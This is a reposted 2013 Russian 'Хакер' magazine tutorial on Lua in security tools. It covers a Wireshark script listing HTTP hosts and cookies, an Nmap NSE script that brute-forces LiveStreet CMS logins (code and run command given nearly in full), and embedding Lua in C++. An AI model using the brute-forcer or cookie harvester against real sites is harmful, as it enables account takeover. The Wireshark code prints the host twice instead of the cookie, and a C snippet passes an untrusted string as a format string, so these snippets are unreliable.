Репост моей статьи про язык Lua из журнала “Хакер” за декабрь 2013 (№ 179).

Разработчики давно поняли: чтобы сделать программу по-настоящему гибкой и расширяемой, нужно добавить внутрь хороший скриптовый язык. Тем более что придумывать ничего не надо: есть Lua, который прекрасно интегрируется, чем и воспользовались создатели Wireshark, Nmap и даже малвари.

Intro

Ранее мы уже писали немного об этом лунном языке (Lua в переводе с португальского означает «Луна») в одном из спецномеров “Хакера” (№ 64, март 2006-го), выпуск которого был посвящен программированию игр. Сегодня же мы поговорим о применении Lua в сфере информационной безопасности. Написать этот раздел и в принципе статью меня подвигло прочтение исследования популярного вируса Flame, авторы которого использовали Lua для быстрого расширения возможностей своего оружия. Если уж даже создатели малвари используют его, стало быть, он и правда хорош.

Декомпилированный код Lua из вируса Flame

После небольшого изучения темы оказалось, что поддержка языка реализована в популярных утилитах, с которыми приходится иметь дело каждый день, при этом я почему-то обходил такую возможность стороной. Пришло время это исправить.

Расширение для Wireshark

В работе мне довольно часто приходится анализировать большие объемы трафика, причем искать в них вполне конкретные паттерны. Поддержка Lua для написания расширений в Wireshark может сэкономить кучу времени (которую можно потратить, скажем, на сон).

При небольшой сноровке можно писать довольно сложные сценарии для поиска паттернов и анализа трафика. Но для примера мы возьмем что-нибудь простое и показательное — напишем простой скрипт для парсинга полей имени хоста и cookies. И параллельно разберем несколько ошибок, которые могут возникнуть в процессе разработки расширения.

Интерпретатор языка находится по следующему пути: Tools -> Lua -> Evalute, куда мы и вставляем наш скрипт.

Пример выполнения Lua-скрипта в Wireshark

Скрипт также можно выполнить через консоль, используя tshark:

tshark -r $FILE.pcap -X lua_script:script.lua

Так как скрипт небольшой, я приведу код сразу, а далее мы его разберем по частям:

cookiewindow = TextWindow.new("List cookies")
do
  local hostname = Field.new("http.host")
  local cookiedata = Field.new("http.cookie")
  local function init_listener()
    local tap = Listener.new("http")
    function tap.packet(pinfo,buffer,userdata)
      local targethost = hostname()
      local targetcookie = cookiedata()
      if targethost ~= nil then
        if targethost ~= nil then
          cookiewindow:append(tostring(targethost))
          cookiewindow:append("\n")
          cookiewindow:append(tostring(targethost))
          cookiewindow:append("\n\n")
        end
      end
    end
  end
  init_listener()
end

Итак, поехали. Сначала для более удобного вывода нужных нам данных создадим отдельное окно для текстовой информации:

cookiewindow = TextWindow.new("List cookies")

В принципе, можно уже выполнить эту строку после запуска Wireshark, и мы получим желанное окно, которое представлено на скриншоте.

Созданное окно с помощью расширения в Wirehark

Далее создадим переменные, которые будут обращаться к полям host и cookie HTTP-протокола:

local hostname = Field.new("http.host")
local cookiedata = Field.new("http.cookie")

Таким образом можно обращаться к любым полям любого протокола, а как мы все помним, этот замечательный снифер из коробки знает структуру колоссального числа протоколов и умеет «молотить» их на понятные части на лету (впрочем, для неизвестного протокола легко прописать структуру).

Теперь напишем функцию инициализации приемника пакетов и установим фильтр на HTTP-протокол:

local function init_listener()
  local tap = Listener.new("http")

Здесь можно также написать фильтр на определенный IP-адрес — в общем, все то, что мы обычно указываем в поле Filter при обычной работе с Wireshark. После этого распишем функцию tap.packet, которая будет выполняться каждый раз при поимке пакета, и определим переменные для так называемых extractor, которые получают значения указанных выше полей.

function tap.packet(pinfo,buffer,userdata)
  local targethost = hostname()
  local targetcookie = cookiedata()

Далее все совсем просто, переводим в строки полученные переменные и добавляем к созданному окну:

cookiewindow:append(tostring(targethost))

Единственный нюанс: объединить переменные с помощью операции объединения строк нельзя, поскольку такие данные имеют тип userdata, а Lua не может напрямую их изменять. Но это можно обойти через метатаблицы.

Теперь выполним наш скрипт и запустим снифинг пакетов.

Работа нашего расширения в Wireshark

Работает! Но как видишь, у расширения есть минус — он выводит одинаковые печеньки, поэтому в идеале надо сделать таблицу, где будут храниться старые значения, и добавить проверку на уникальность. Но это я оставляю тебе в качестве домашнего задания. Если же ты не справишься или ты из тех людей, которые любят готовые рецепты, то полная версия будет ждать тебя на моем GitHub-аккаунте.

Если при запуске скрипта возникла ошибка с текстом «Field_get: A Field extractor must be defined before Taps or Dissectors get called», значит, скрипт был запущен после старта снифинга пакета и нужно будет перезапустить Wireshark.

В сноске ты найдешь ссылки на вики и API с более подробной информацией по написанию расширений. Помимо этого, приведены примеры рабочих скриптов, один из которых сохраняет VoIP-звонки из пакетов в отдельные файлы и работает с SQL базой данных.

Расширение для Nmap

Nmap так же, как и Wireshark, позволяет активно использовать Lua, чтобы серьезно прокачать возможности сканера и превратить его в своего рода Metasploit (мы об этом уже писали). Часть программы, которая отвечает за работу с языком, называется Nmap Scripting Engine (NSE), поэтому все скрипты для сканера имеют расширение nse.

Разберем стандартную структуру скрипта. В начале каждого сценария добавляются стандартные библиотеки:

local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"

Далее идут метаданные:

description = [[ Описание скрипта ]]

author = "Автор скрипта"
license = "Тип лицензии http://nmap.org/book/man-legal.html"
categories = {"cat1", "cat2" } -- Категории, к которым относится скрипт 

---
-- @usage
-- nmap --script имя_скрипта [--script-args аргументы,...] <host>
--
-- @output
-- Вывод
--
-- @args описание переменных.
-- @args ... .

-- Changelog:
-- 2013-11-10 Имя автора <email>:
--   + Initial version

После этого идет непосредственно код сценария. Для примера напишем простейший скрипт для брута пользователей популярной CMS LiveStreet.

Вначале определим стандартные переменные и подключим недостающие библиотеки:

local brute = require "brute" -- упрощает процесс брута
local creds = require "creds" -- для сбора данных

portrule = shortport.http -- использование стандартных HTTP-портов, также эта часть кода называется секция «правил»

local DEFAULT_LS_URI = "/login/" -- путь, по которому находится форма логина
local DEFAULT_LS_USERVAR = "login" -- имя переменной для значения логина в форме
local DEFAULT_LS_PASSVAR = "password" -- имя переменной для пароля
local DEFAULT_THREAD_NUM = 3  -- количество потоков

Далее составим класс Driver для брута из соответствующей библиотеки. Напишем функцию инициализации с указанием хоста, порта и пути до формы логина:

Driver = {
  new = function(self, host, port, options)
    local o = {}
    setmetatable(o, self)
    self.__index = self
    o.host = stdnse.get_script_args('http-livestreet-brute.hostname') or host
    o.port = port
    o.uri = stdnse.get_script_args('http-livestreet-brute.uri') or DEFAULT_LS_URI
    o.options = options
    return o
  end,

Функции коннекта и дисконнекта оставим без изменений:

connect = function( self )
  return true
end,

disconnect = function( self )
  return true
end,

Далее пишем проверку, чтобы посмотреть успешность коннекта и наличие поля для пароля:

check = function( self )
  local response = http.get( self.host, self.port, self.uri )
  stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri)
  if ( response.status == 200 and response.body:match('type=[\'"]password[\'"]')) then
    stdnse.print_debug(1, "Проверка пройдена. Запускаем атаку")
    return true
  else
    stdnse.print_debug(1, "Проверка не пройдена. Поле с паролем не обнаружено")
  end
  return false
end

Ну и самая главная часть — функция логина. Сначала составляем HTTP-запрос:

login = function( self, username, password )
  -- составляем HTTP-запрос с указанием переменных
  -- username - логин
  -- password - пароль
  -- submit_login - скрытая переменная для предотвращения брута, передается пустое значение
  -- помимо этого, здесь можно указать cookies и другие элементы обычного запроса
  local response = http.post( self.host, self.port, self.uri, { no_cache = true }, nil, { [self.options.uservar] = username, [self.options.passvar] = password, submit_login = "" } )

Далее указываем результат, после которого считается, что пара логин с паролем, переданные в запросе, были правильными:

  if response.status == 301 then
    local c = creds.Credentials:new( SCRIPT_NAME, self.host, self.port )
    c:add(username, password, creds.State.VALID ) 
    return true, brute.Account:new( username, password, "OPEN")
  end

  return false, brute.Error:new( "Неправильный пароль" )
end,

В случае с сайтами на WordPress значение будет 302. Другой вариант — проверять появление нового HTML-элемента на странице (например, после логина обязательно появится ссылка для выхода пользователя из системы):

<a href="http://site.com/login/exit/?security_ls_key=<key>">выход</a>

Теперь распишем главную функцию action, которая обязательно должна быть в коде:

action = function( host, port )
  local status, result, engine -- объявляем переменные 

  -- получаем значения из командной строки или используем стандартные
  local uservar = stdnse.get_script_args('http-livestreet-brute.uservar') or DEFAULT_LS_USERVAR
  local passvar = stdnse.get_script_args('http-livestreet-brute.passvar') or DEFAULT_LS_PASSVAR
  local thread_num = stdnse.get_script_args("http-livestreet-brute.threads") or DEFAULT_THREAD_NUM

  -- запускаем «движок» брута, используя указанную выше функцию
  engine = brute.Engine:new( Driver, host, port, { uservar = uservar, passvar = passvar } )
  engine:setMaxThreads(thread_num)
  engine.options.script_name = SCRIPT_NAME
  status, result = engine:start()

Сохраним полученный скрипт с расширением nse и положим рядом два файла: users.txt и passwords.txt — с некоторым количеством имен пользователей и паролей. В случае LiveStreet можно даже напарсить валидные имена пользователей или добавить этот функционал в скрипт.

Теперь запустим полученный сценарий (полный исходник скрипта можно скачать из моего GitHub-репозитория):

nmap -p80 --script http-livestreet-brute --script-args 'userdb=users.txt,passdb=passwords.txt' <target>

Если все пройдет успешно, то ты увидишь отчет о проделанном брутфорсе.

Отчет Nmap-скрипта для брута пользователей LiveStreet CMS

Как видишь, код не такой сложный, что позволяет быстро написать свой скрипт под определенную цель, с которой ты столкнулся в процессе проведения пентеста.

Outro

Вообще, использование Lua растет и растет. Так, на момент написания статьи была опубликована новость, что появился плагин для Olly Debugger версии 2+, добавляющий поддержку Lua.

Впрочем, язык не ограничивается одними программами для ИБ-сферы и может пригодиться в самых разных ситуациях. Как я уже говорил, его часто используют для игр, например World of Warcraft в своих аддонах (предоставляя API и довольно неплохую документацию по нему). Помимо игровых приложений, его задействуют такие программы, как Setup Factory. На нем написаны многие инсталляторы: Apache, nginx, Adobe Photoshop Lightroom, VLC и многие другие. Там, где нужно реализовать программируемое поведение программы, — интегрированный интерпретатор Lua точно будет очень неплохим вариантом.

Ссылки

Встраиваем Lua в различные языки

Изучаем Lua

Материалы для Wireshark

Материалы для Nmap

Врезки

Шпаргалка по Lua

Первое, что надо знать, — Lua — это язык с динамическим определением данных, то есть переменные получают тип на лету в зависимости от своего содержания. Всего используется восемь типов:

  • nil (пустое значение);
  • boolean (логический);
  • number (числовой);
  • string (строковый);
  • function (функция);
  • userdata (пользовательские данные, если вкратце, то это данные программы, с которой взаимодействует Lua);
  • thread (поток);
  • table (таблица — самый интересный тип, он включает в себя свойства как массива, структуры, так и списка, множества и представляет собой набор пар (ключ, значение), то есть является хеш-таблицей).

Условные операторы и циклы довольны стандартны:

-- комментарии обозначаются двумя тире
-- условные операторы
if x == 1 then
  print("x = 1")
end

if x == 1 then
  print("x = 1")
else
  print("x != 1")
end

-- сокращенная форма if + elseif + end, используется вместо switch/case
if x == 1 then
  print("x = 1")
elseif x == 2 then
  print("x = 2")
elseif x == 3 then
  print("x = 3")
else
  print("x > 3")
end

-- цикл со счетчиком
for i = 1, 5 do
  print(i)
end

-- цикл с предусловием
x = 5
while x > 0 do
  x = x - 1
end

-- цикл с постусловием
repeat
  x = x + 1
until x >= 5

Операции также почти все знакомые:

  • присваивание: x = 0;
  • арифметические: +, -, *, /, % , ^;
  • логические: and, or, not;
  • сравнение: >, <, ==, <=, >=, ~= (первое отличие, такой оператор вместо !=);
  • объединение строк: .. (второе отличие, вместо + или .);
  • длина/размер переменной: #;
  • получение элемента по индексу: array[2].

Начиная с 5.2 доступны наши любимые битовые операции через таблицу bit32. Например, выведем XOR-значение в запущенном интерпретаторе Lua:

> value = 0xffff0000
> key = 0x00ffff00
> = string.format("%08x",bit32.bxor(value, key))
ff00ff00

Функцию мы рассмотрим на примере тестового скрипта в нашей программе. Более подробно про этот язык можешь прочитать по ссылкам в сносках. Для написания программ достаточно будет Notepad++ или Sublime Text.

Встраиваем компилятор в свою программу

Итак, теперь главная фишка Lua в том, что его можно встроить в любую программу и предложить всем желающим расширить ее возможности. Как это сделать? Я покажу на примере Visual C++ программы. Стоит отметить, что сам Lua написан на чистом C, и это создает некоторые сложности при добавлении в программы с плюсами. На просторах Сети предлагается несколько вариантов добавления поддержки Lua в C++ программы. Кто-то предпочитает скачивать уже прекомпилированные библиотеки или готовые фреймворки, кто-то — компилировать из исходников самому, а кто-то — подключать исходники к своему проекту и, немного разобравшись с настройками в проекте, добиться действительного добавления Lua в свою программу. Мы с тобой как раз и разберем последний вариант.

Создадим новый консольный проект (я пользуюсь Visual Studio 2010). После чего добавим через свойства проекта директорию с исходниками:

Properties -> Configuration properties -> C/C++ -> General
Properties -> Configuration properties -> Linker -> General

где в каждом из разделов добавим в соответствующие поля ... Directories путь к исходникам языка. Далее создаем раздел Lua, куда добавляем все файлы из папки src:

Project\New Filter
...
Project\Add Existing Item

Добавление директории с исходниками Lua в проект

Как я уже упомянул выше, Lua написан на чистом C, поэтому применим небольшой хак — добавим в начало своего файла следующие строки:

extern "C" {
#include "lua.h"
#include "lualib.h"
#include "lauxlib.h"
};

Далее инициализируем наш язык и подключим его библиотеки:

lua_State * L = luaL_newstate();
luaL_openlibs(L);

Теперь создадим цикл, который будет проверять входящие данные, пока они не закончатся (или не переполнят буфер), и выполнять их:

while (fgets(buff, sizeof(buff), stdin) != NULL) {
    error = luaL_loadbuffer(L, buff, strlen(buff), "line") ||
        lua_pcall(L, 0, 0, 0);
    if (error) {
        fprintf_s(stderr, "%s", lua_tostring(L, - 1));
        lua_pop(L, 1);
    }
}

Команда luaL_loadbuffer загружает строку из буфера в Lua, но не исполняет ее. Для выполнения нужно вызвать lua_pcall. После окончания цикла закрываем экземпляр с Lua

lua_close(L);

Теперь можно компилировать проект и запустить.

Работаем в скомпилированном интерпретаторе Lua

В ходе компиляции могут возникнуть ошибки:

  • file.с 'Debug\lua_interpretator.pch' precompiled header file ...;
  • после запуска постоянно появляется родное окно интерпретатора Lua.

Для исправления первой ошибки нужно отменить PCH-компиляцию для всех проблемных C-файлов. В случае второй ошибки исключи из проекта файлы lua.c и luac.c.

Следующий проект создадим аналогичный первому, но теперь будем запускать свои сохраненные скрипты в самой программе, инициализируем Lua и добавим после:

const char *testscript = {
    "function double(n)\n"
    "  return n * 2\n"
    "end\n"
    "\n"
    "io.write(double(1))\n"
};

Это и есть обещанный пример объявления и работы с функцией. Теперь загрузим его в память и выполним:

luaL_dostring(L, testscript);

В этом случае мы обошлись без pcall, так как используем макрос с приставкой do- вместо load-, который вызывает одновременно loadstring и pcall, как в следующем примере:

luaL_loadstring(L, "io.write('Hello XAKEP from C++')");
lua_pcall(L, 0, 0, 0);

Теперь рассмотрим возможность вызова функций C-программы из Lua-скриптов. И для начала объявим функцию, которая будет вызываться из нашего языка:

int my_function(lua_State *L)
{
    int argc = lua_gettop(L); // Получаем количество переданных значений

    for ( int n=1; n<=argc; ++n ) {
        fprintf_s(stdout, lua_tostring(L, n) );
    }

    lua_pushnumber(L, 123); // Значение, которое возвращаем
    return 1; // Количество возвращаемых значений
}

Далее регистрируем функцию:

    lua_register(L, "my_function", my_function);

Прописываем функцию, которая загружает по переданному пути скрипт:

    int s = luaL_loadfile(L, file);

И запускаем загруженный скрипт:

s = lua_pcall(L, 0, LUA_MULTRET, 0);

Но, если заметил, вызов немного отличается от предыдущего проекта. Константа LUA_MULTRET используется вместе с функцией lua_gettop для подсчета стека до и после вызова. Компилируем, не забывая про описанные выше ошибки.

Теперь пропишем вызов этой функции из Lua в отдельный скрипт и назовем его call_func.lua:

io.write("Running ", _VERSION, "\n")
a = my_function(1, 2, 3, " xa", "kep ")
io.write("my_function() returned ", a, "\n") -- Выводим значение, которое вернула функция

Вызовем полученный файл из нашей программы:

calling_functions.exe call_func.lua

И получим следующий вывод в консоль:

Вывод вызываемой C-функции из Lua

Готовые исходники проектов ты можешь взять из GitHub, но не забывай, что в них прописаны пути к моей Lua и для экономии места вырезаны функции обработки ошибок Lua-скриптов. Еще я не подробно расписал одну интересную тему — работу со стеком, которая позволяет обмениваться данными с основной программой, хотя главное мы затронули в последнем проекте.